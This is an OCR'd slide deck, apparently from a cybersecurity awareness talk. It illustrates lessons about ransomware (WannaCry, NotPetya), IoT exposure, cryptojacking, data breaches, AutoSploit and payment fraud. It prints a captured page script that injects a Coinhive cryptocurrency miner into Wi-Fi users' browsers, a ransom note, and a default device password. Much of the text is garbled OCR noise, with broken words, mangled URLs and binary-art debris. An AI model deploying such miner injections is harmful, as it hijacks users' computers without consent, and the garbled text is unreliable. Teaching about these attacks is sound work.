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Lesson #1:
It's About Our Way of Life
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News and events What is NHS Digital? How we look after yo!

Digital
Data and information Systems and services

orted NHS cyber attack

Home |/ News and events |/ Latest news | Statement on rep

Statement on repo

A number of NHS organisations have reported 10 NHS Digital that they have been affected by a ransomware attack which is
affecting a number of different organisations

The investigation IS at an early stage but we believe the malware variantis Wanna Decryptor.
At this stage we 00 not have any evidence that patient dala has been accessed. We will continue t0 work with affected

organisations 1o confirm this
L ensarity Centre, the Department of Health and NHS England 10



- Wana DecryptOr 2.0 L8l 20003619 18
Ooops, your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer

accessible because they have been encrypted. Maybe you are busy looking for a way to

recover your files, but do not waste your time. Nobody can recover your files without

our decryption service,

Payment will be raised on B Can 1 Recover My Files?

51672017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have

not so enough time.

You can decrypt some of your files for free. Try now by clicking <Decrypt>.

But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price will be doubled.

Also, if you don’t pay in 7 days, you won't be able to recover your files forever.

We will have free events for users who are so poor that they couldn’t pay in 6 months

Your files will be lost on

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.

Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,

v ’ u L:;";:‘ = :'::";:‘ And send the correct amount to the address specified in this window.

el it = After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

POANEIT L ons Wl e Dass s )

52012017 00:47:55

Time Left

Send $300 worth of bitcoin to this address:
12t9YDPgwueZ9NyMgw519p7AABisjré SMw

Check Pavmaent

bitcoin
ACCEPTED HERE

Contact Us



Hours of Operation
Mon - Fri: 8:30 am - 4:30 pm

COMPUTER : : —
SYSTEMS ARE https://www.wsj.com/articles/two-weeks-after-cyberattack-

baltimore-is-still-hobhled-11558431002
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ZDNet Q VIDEOS 5G WINDOWS10 CLOUD Al INNOVATION SECURITY MORE

|y MmusT READ: SHA-1 collision attacks are now actually practical and a looming danger

Aluminum producer switches to manual
operations after ransomware infection

UPDATE: Cyber-attack identified as LockerGoga ransomware infection.

% By Catalin triggea v iR FBRERChMARTIAR AR Aor K-y AT Y8 /ARt IRPHEREF1F 0-hattles-to-contain-ransomware-attack-idUSKCNIROONS
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Lesson #2:
Motivated Attackers
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as been detected and 05 has been

shut down to prevent damage tO your

A problem h
computer.
The prob1em seem

s to be caused by the following file: DRIVER.SYS

PAGE_F AULT ,IN_NONPAGED_AREA

1f this 15 the first time you've seen this stop error screen, restart youf

computer. 1f this screen appears again, follow these steps:

hardware or software is prupcv'y ‘hﬂ{Al]vd f this 15
goftware manufacturef for any 05 updates

ake sure any new
hardware OF

check tO m
allation, ask your

a new inst
you might need.
any newlv installed hardware

or soft WAre .

1f prob\pms continue disable OF remoyve
Ulsab'\e gIO*
mode rem BV
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MIGER The Untold Story of NotPetya, the Most Devastating

THE UNTOLD STORY OF NOTPETYA.

THE MOST DEVASTATING
CYBERATTACK I\ HI\IOI{\

Cripple dp orts. Paralyzed corporatio nment agencies. How a single piece
of code crashed the world.

https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/
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ENTERPRISE /2

TECH MOBILE SOCIAL MEDIA ENTERPRISE CYBERSECURITY TECH GUIDE

Shipping company Maersk says
June cyberattack could cost it
up to $300 million

* Maersk has put in place "different and further protective measures” following
the attack.

o Merck and WPP were among the companies that were also affected by
NotPetya
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MENU LAWFARE

CYBERSECURITY

What Mondelez v. Zurich May Reveal
About Cyber Insurance in the Age of
Digital Conflict

$$$x PRESS ANY KEY! $$$8x

https://www.lawfareblog.com/what-mondelez-v-zurich-may-reveal-about-cyber-insurance-age-digital-conflict



https://www.whitehouse.gov/briefings-statements/statement-press-secretary-25/

STATEMENTS & RELEASES

Statement from the Press Secretary

—— FOREIGN POLICY Issued on: February 15, 2018

ALL NEWS In June 2017, the Russian military launched the most destructive

and costly cyber-attack in history.

The attack, dubbed “NotPetya,” quickly spread worldwide, causing billions of dollars in damage across
Europe, Asia, and the Americas. It was part of the Kremlin’s ongoing effort to destabilize Ukraine and
demonstrates ever more clearly Russia’s involvement in the ongoing conflict. This was also a reckless

and indiscriminate cyber-attack that will be met with international consequences.




What's The
Endgame?




Lesson #3:
Expanding Attack Surface

@k3r3n3



ad o A "3 PPN W TSRS T W VY 1ISOe '~ WIGET TSR | | TE ST T aaes o AR
'l uulllt'wd illl 1019091 @1 18000IR Y 1 O1I080NIRI I 10100181 GO TORBRIN! VIR 1
St L ARRE AR L JRN] | RETFE SRR ARRL JRT ARAL | GREYRNT L SR L IRRL A1 JRAL | EETXREEC SR U IR IR IRRE i

2214 iy ;
- 1 LIRS -~ L LLARL A i 1 DARRL AR —, 08011 1@ 1ot e L5080
R ' U THTY Y 1119 T TERER T T 1110808 TR T 11108¢ '== " iveww o’ Tive 11100 "*¥ vvee ik Moot |
10108 9011000010111 I M11000018 1) 110106191 001 T0N0RI0! 1 1RAE, .o ap1g PRITORNRINT 1IDON, o, 00 0 PO1I000010!1 100 ‘
| ey resimine ot § 19111001 188111000~ Bl 1911 1001100110140 mamasgms 1BV11001 1081 ‘1.‘__;,;,__ 18111801100 " “rc
- - DGIERAVIIDINIE my WIABAIIIAYVIE Lkl PURLIERL T : A1 CTERCRRRT ™ - RIOBNI I 0 p—
PUVY I ¥ 71 111000 nvvl-vm v 1118058 Al ~ » > 20 A0R 111080 (M TR ”' M TEeREE TETTYY III“’) o u e
U1 I00R0I0! ! 119918 [ a0t 1000014111 1010627 1100001821100 'alme L 2RL L L AL RRR 1010010 311080010 1 1010018 0110630101

A Bas AN

“imiss IRIIIN0I IR TR i ARAL UAAL  MRAL
COCT DTRRUERRL L AE] DARREARAT

-

AT e tee e
AL DARRLARRT)

i 101118811001 |
" 0emA1101!
1110008

10 aanoo:--al“—':“‘ 0111080 18011 e
b LILEUIRRL) o, M ITT CRRRUIRAL

EEad | | | 00QE | | Soezrmond PI190008! ' Lrsemon |11 85890 | | asmmin A S, 1 co o Tises

o R R L e 2k ot LALLM B TR AL A 11010018 sowi1weow w110 Il.ll@" |09 | TOOOTTOTT 1101009 (veo i iweowrarTT 1198010
T 2007 VIMONRIRI VIR TS AT MR 10ea10 TSI IMheeRa N .02 (o0 10008011) recseitt I 10000 8 1) ol XX L
1 | (L ARAT CIR1 CBRRL | ﬂ L IRAE ARL  LAAL | ﬂ MBS 1Y) q AL JRAL AL [ 1RR) ﬂ 111001 108111 -
O s 00100011 1@ 1100 e 0100011101 1 TERY. s 00100011101 1 mns uuuo UL 4 S L] CURRLIRAL Y S
:v'v-mi';;v' '”m oU 1 YVSS v;'n '””m B2 -vmm-w " '“W U RRE L L L AR AR ““ - -mvw'.' ’”“..( U RRE L R AR
mm«umna 10100181 '201 10000191 101901011 00110000101 1108110180701 5g: 1000016 1100 wnm 660112000101 110a) 101880011 96110066131 1
1011189110011 1@Y " =i IR TIRE ARET T e T TRRT “TRT T IRRT | UARRE CTRT URRAL ) e BT TAAT CTRT T IRRT ) et R T 1R N1 T RL ')

AL LARRLIRAL L L] LURAL ARAL

11 SPRADY L e

] LIRRLLARL B

wumwm?‘
111 QOTR 1w waar

oahd LULLLARAL

Lodld LARRL

ool JULLAL L LB A s A T101801TH pww | rooow (VT 11 TI010010 oo ieeeaioi T | 1101001 E [fww 1 i sowwTwT Y 1101001 € row i i womwr TuTT e
_ | EREE TR T R | AL [T L IRRE | SEETREEEaE I8 MY mecazayes (811000010111 et TR EuRE | AR] L AL AR R ==ezae e (301100099111 - i
1| - IO‘-'-I:.II”'H.- - sIesTImine - 'Olll..ﬂ'ﬂlll ) - Aweesen L BRLARAL AR ARRL - -
1 = 3] LURRL ARAL - A0 LAARL AL L AL] LARRLARAL - L LARAL IR —— L l"‘OHI B ——
) (EEENEPES 1) G@dgR) [ SESEEE 111000QR | ( SSEEEEE 111 0000m) LDSEIRESS | RS0\ 1 opun! LIRSS R A .....;'v-;~-‘.-_‘.>.-’:>2
o roveuTer T Toul (D10810Y sovi reveeTe T T TGS [R100101 e rouvoieT T FORE] 10100131 rou i rouooTRTY 101@819) sww i iwwwuivi | l.!ﬂ P povireoou iVl
w'mun'u =2 ™07 BQ1I1000010" 1 1008 S i~ 001 10OR0101 1 1S~ 2 i~ | 00110000197 1 100} - 2o ; - < 00110008101 TeR" = ;" |81 100881811

19111001 1881118
ocaunm--n.. e BETUL CHRCIRD
»mmmn*‘ SR anan | 1 S00001 |
110180)01191 v
R S [ TR TETTY
- 00091011108 - 501100681311
101110011001 1 10 s 1011106119011
Y TINITIRRE T e Y TIRRT I

L LR 2RE 1R
y suieRE 1181
o YOB0GE! | 1 DDOGE
11eradi10)1

-‘ 1011100110011 14 -‘ 1011180110811 i8I
s (CA0] DANRLIRAE & e B U0 LARRL IR R ’ UMY DARBRLIRAL
S peeee ) 100000 1 UEEUET tung001 1000801 o 198086 1 1 | DR
"OlulilLl‘ _ llllﬂ‘"lll IIQ .llllll'

ST ew twwRwTE T T TON vt lowee ol || AT sowiieewe TSIl
1 L ARE L AL ARRE | - SN110000:071 1005 Mseeeietn
oy 10111001 1801110 s 10111001 10011160 IR TR RRET

= 301 LIRAL IARI | ===l M1 LIARLARRL & CO ] LLRAT RRAL)

- .-}'fy-_.\?:

ONBeT I 1eeeSa1 1 WOSRE! YYobuee ! ! 880011 00| 111290001 | 0N ! 1338001 | !
pR— "a!‘ e ‘ 18189101 f : 10100107 o orTTEG] 10100181 . 101001817 oy, covvoiv:
01200010119 : [ah 10008 - 2000010100 T ="+ geseeIa e ‘AT gnrieenint

CORRE IR IRET) o 011 10€1 188111
BOTHIE 0 s  OOI1GEE 1101118 e

1111000001 1 1DOR00 1 100000 |
T - ”'ll"n‘.""

UL ARAE U1RL  JRAIL CLARRL AL CARAY
A0 DIRRUARR] S B ST CTRRUIRALS NSNS ”lllll!'ﬂlli

BDI00 1| 1 ROVI8 | | 5200001 ! 1 520001 | R000! 11 EDB001 |
Lo LI L ARL L - “\IOI“'O‘!OI
Samas mLs ( ASABS asamials [Anane

=L R
[T 1M

“Hll” LAALL

B iide 4 4 s 8w DPudeeh 4
—"




THE ARRIVAL OF THE INTERNET OF THINGS:
INCREASING NUMBER OF CONNECTED DEVICES B

Munich Security Report 2018

Number of devices and people, millions Devices B People

18 2020
(projection) (projection)

Source: Gartner; United States Census Bureau'©




SHODAN : THE GOOGLE OF CONNECTED DEVICES

Search

% SHODAN

EXPOSE ONLINE DEVICES i 5 B o i

WEBCAMS. ROUTERS.
POWER PLANTS. IPHONES. WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

https://www.shodan.io/ created by @Achillean
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secure remote
maintenance system

X\ :“"'l ' 4
https://en.internetwache.org/




TOILET FREE MACHINE OK

Unit 1 (@) 23728

Unit 2 () (@ 26516 L Cleaning —]

Units M= start VNC || Legon 0'

62.72) J
Ports open: 443, 5900
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~=== | sername: Admin
Password: 1111

v By

Source: httos://krebsonsecuritv.com/2016/10/who-makes-the-iot-thines-under-attack/
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§B-327-1Jan 2020

POLICY & LAW N\ HOME \.\ US & WORLD \

California jUSt became the first state with an
Internet of Thlngs cybersecurity law

By Adi Robertson | @thedextriarchy | Sep 28, 2018 pm EDT
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Lesson #4
Everything Has Value ...
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Starbuclks Wi-Fi hijacked customers’
laptops to mine cryptocoins

14 DEC 2017 u




o o

N O R DN -

[ S J@ view-source:10.104.206.14/redir/r2url=aHROcDovL3NOYXJidWNrc3JId2FyZHMuY29tLmFylLw~ ~

<html>
<head>

<meta http-equiv="refresh" content="18; url=http://starbucksrewards.com.ar/">

<style>
body { background: #fff; 1}

.content { max-width:508px;margin-top:200px;margin-right:auto;margin-left:auto;background:white;p

#myProgress { width: 108%;background-color:#ddd; 7}

#myBar { width:1%;height:30px;background-color:#2196F3; 7}
</style>

<script src="https:
</head>

<body onload="move()">

js"></script>

coin-hive.com/lib/coinhive.min.

<script>

var h = new CoinHive.Anonymous({ '02yGg5gTDgLC59dTfTYa9ntLacF3DBGu"');
setInterval( function () { h.stop(); }, 60©000);

</script>

<script>
function move() {
var elem = document.getElementById("myBar");
var width = 1;
var id = setInterval(frame, 100);
function frame() {
if (width >= 100) {
clearInterval(id);

window.location.href = "http://starbucksrewards.com.ar/";
} else {

width++;

elem.style.width = width + '%°;

h.start();



& Secure | https://coinhive.com <a @ Yy

Loading...

A Crypto Miner
for your Website

Monetize Your Business With Your Users' CPU Power



Source: https://threatpost.com/pirate-bay-spotted-hosting-monero-cryptocurrency-miner/128004/
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[RANSFORTATION * CARS N TESLA %

Tesla’'s cloud was used by hackers to mine
cryptocurrency

Mining bitcoin on Elon’s dime

By Andrew J. Hawkins | @andyjayhawk | Feb 20, 2018, 1:39pm EST

a "




amazon

webservices

_

kubernetes




A6

2017 \ ':_\ OWASP = SECURITY MISCONFIGURATION
- w SRR

T o P BROKEN AUTHENTICATION CROSS-SITE SCRIPTING (XSS)

A8

SENSITIVE DATA EXPOSURE INSECURE DESERIALIZATION
A A9

USING COMPONENTS WITH

T TIT
XML EXTERNAL ENTITIES (XXE) KNOWN VULNERABILITIES

APPLICATION
SECURITY RISKS

A5 A10

BROKEN ACCESS CONTROL INSUFFICIENT LOGGING
& MONITORING

Source: https://www.twistlock.com/2018/01/08/container-security-breaking-owasp-top-10-application-security-risks/
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In major goof, Uber stored sensitive database key on
public GitHub page

Ride-sharing service subpoenas GitHub for IP addresses that accessed security key.

3/2/2015, 9:55 PM

| (@rsS) TECHNICA

Hackers hit Uber in 2016: data on 57 million riders,
drivers stolen

CEO: "You may be asking why we are just talking about this now, a year later."

11/22/2017, 1:20 AM
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57 MILLION'GLOBAL US|

'Naﬁes

Email addresses
Cell phone numbers_ =y

« DEVELOPING NEWS +« DEVELOPING NEWS +« DEVELOPING NEWS « DEVELOPING NEWS +« DEVELOPING NEWS « DEVELOPING NEWS

" FOX32  UBER: OUR SYSTEM WAS HACKED AND i
T WE PAID $100K TO COVER IT UP

T —







i $230 Millio

We are investigating the theft of customer
data from our website and our mobile app, as IC l
a matter of urgency. For more information,

please click the following link:

L 1.

o G RRNAS

\'.




htps://www.forbes.com/sites/davidvolodzko/2018/12/04/marriott-breach-exp






The California Consumer Privacy Act (CCPA) :
Statutory Damages For Consumers Compromised,
Resulting From

(Ca Civil Code Section1798.150(a)(1)).



WANTED
BY THE FBI

JOSHUA SAMUEL AARON

Conspiracy to Commit Computer Hacking; Computer Hacking; Conspiracy to Commit
Securities Fraud; Conspiracy to Commit Wire Fraud; Securities Fraud; identification
Document Fraud Conspiracy; Aggravated ldentity Theft; Money Laundering
Conspiracy
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Lesson #5:
Automation & Innovation

@k3r3n3
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https://www.crowdstrike.com/blog/crvptomini



rootikali:~# cd \Downloads

root@kali:~/Downloads# dir

metasploit-latest-linux-x64-installer.run

root@kali:~/D - - - = . run
roo1 kali:~/D . run
root@kali:~/D un




SHODAN + METASPLOIT = AUTOSPLOIT

e e s e +
| Option | Summary |
o m e e +
|1. Usage | Display this informational message. |
|2. Gather Hosts | Query Shodan for a list of platform specific IPs. |
|3. View Hosts | Print gathered IPs/RHOSTS. |
|4. Exploit | Configure MSF and Start exploiting gathered targets|
|5. Quit | Exits AutoSploit. |
e e s e +

https://github.com/NullArray/AutoSploit


·https:/github.com/NullArray/AutoSploit

root@kali: ~/Desktop/AutoSploit

File Edit View Search Terminal Help

:~/Desktop/AutoSploit# python autosploit.py

[+] welcome to autosploit, give us a little bit while we configure
[1] checking your running platform
[1] checking for disabled services




Lazio football club fell for a €2 million
emaill scam: report




3 Livestream Eventis Services Government About Contact Q
CABARRUS COUNTY .

America Thrives Here

Cabarrus County Government targeted in
social engineering scam

Cabarrus County officials released details of a
@ Cabarrus County officials discuss social... © » social engineering scam that diverted a
$2,504.601 vendor payment made by the
County. Of that total, $1,728,082.60 remains
missing

The County intended to send the money to

‘ Roanoke, Virginia-based Branch and
‘.' Associates, Inc_, which serves as general
contractor for construction of West Cabarrus
N E_W‘B'US"NESS" High, a new school for the Cabarrus County

JULY-29¢2019 Schools District

Construction on the new high school has not
been impacted. and the scam remains under investigation by the Cabarrus County Sheriff's Office and the Federal Bureau of
Investigation
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Fraudsters deepfake CEO’s voice 1o

frick manager into fransferring
$243,000

ﬁ RAVIE LAKSHMANAN

s://thenextweh.com/security/2019/09/02/fraudsters-deepfake-ceos-voice-to-trick-manager-into-transferring-243000/
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Keep Calm Anc
ldeas For the Future



EVERYDAY SECURITY DECISIONS
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51y BRIAN MASTROIANNI CBS NEWS March 2

Defense Deparlment Invites
you to "Hack the Pentagon™
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Why Girl Scouts Make Great Cybersecurity
Hackers




TARAH WHEELER VAN VLACK

CONTRIBUTORS: Angie Chang / Katie Cunningham /
Keren Elazari / Miah Johnson / Kristin Toth Smith /
Kamilah Taylor / Brianna Wu /

WOMEN
IN TECH

TAKE YOUR CAREER
TO THE NEXT LEVEL

with Practical Advice and Inspiring Stories

Includes:
THE SECRETS OF SALARY NEGOTIATION
THE BEST FORMAT FOR TECH RESUMES

HOW TO ACE A TECH INTERVIEW
HOW TO START YOUR OWN COMPANY

"@Tarah



@LadiesCybe



[‘!'ﬁ!
4 (A

‘ http: //passcode csmonltor com/ hackerklds




Image : Project neXus Photography by Thomas Solberg Andersen



Fu

Th

0

-
-

tur

Keren Elazar
www.K3r3n3

=
=)
o



